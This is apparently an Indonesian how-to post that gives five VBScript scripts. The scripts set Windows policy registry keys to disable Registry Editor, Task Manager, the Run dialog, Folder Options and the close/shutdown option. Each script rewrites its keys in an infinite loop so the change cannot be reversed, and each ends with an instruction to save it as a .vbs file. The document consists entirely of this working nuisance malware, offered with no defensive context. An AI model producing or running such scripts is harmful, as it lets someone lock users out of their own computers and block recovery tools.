Regedit anti delete vbs

1. disable regedit (Bandel)

Dim ObjReg
Set ObjReg = CreateObject("WScript.Shell")
ObjReg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
ObjReg.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
Do
Set ObjReg = CreateObject("WScript.Shell")  
ObjReg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
ObjReg.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
Loop


saveas dengan ekstensi vbs( misal:trik.vbs)

2. disable task manager (bandel)

Dim ObjReg
Set ObjReg = CreateObject("WScript.Shell")
ObjReg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\Explorer\DisableTaskMgr", "1", "REG_DWORD"

Do
Set ObjReg = CreateObject("WScript.Shell")
ObjReg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\Explorer\DisableTaskMgr", "1", "REG_DWORD"
Loop

saveas dengan ekstensi vbs( misal:trik.vbs)


3. Disable Run bandel


Dim ObjReg
Set ObjReg = CreateObject("WScript.Shell")
ObjReg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\Explorer\Norun", "1", "REG_DWORD"

Do
Set ObjReg = CreateObject("WScript.Shell")
ObjReg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\Explorer\Norun", "1", "REG_DWORD"
Loop

saveas dengan ekstensi vbs( misal:trik.vbs)
 

4. Nofolder option bandel

Dim ObjReg
Set ObjReg = CreateObject("WScript.Shell")
ObjReg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\Explorer\NoFolderOptions", "1", "REG_DWORD"

Do
Set ObjReg = CreateObject("WScript.Shell")
ObjReg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\Explorer\NoFolderOptions", "1", "REG_DWORD"
Loop

saveas dengan ekstensi vbs( misal:trik.vbs)
 

5. NoClose bandel

Dim ObjReg
Set ObjReg = CreateObject("WScript.Shell")
ObjReg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\Explorer\Noclose", "1", "REG_DWORD"

Do
Set ObjReg = CreateObject("WScript.Shell")
ObjReg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\Explorer\NoClose", "1", "REG_DWORD"
Loop

saveas dengan ekstensi vbs( misal:trik.vbs)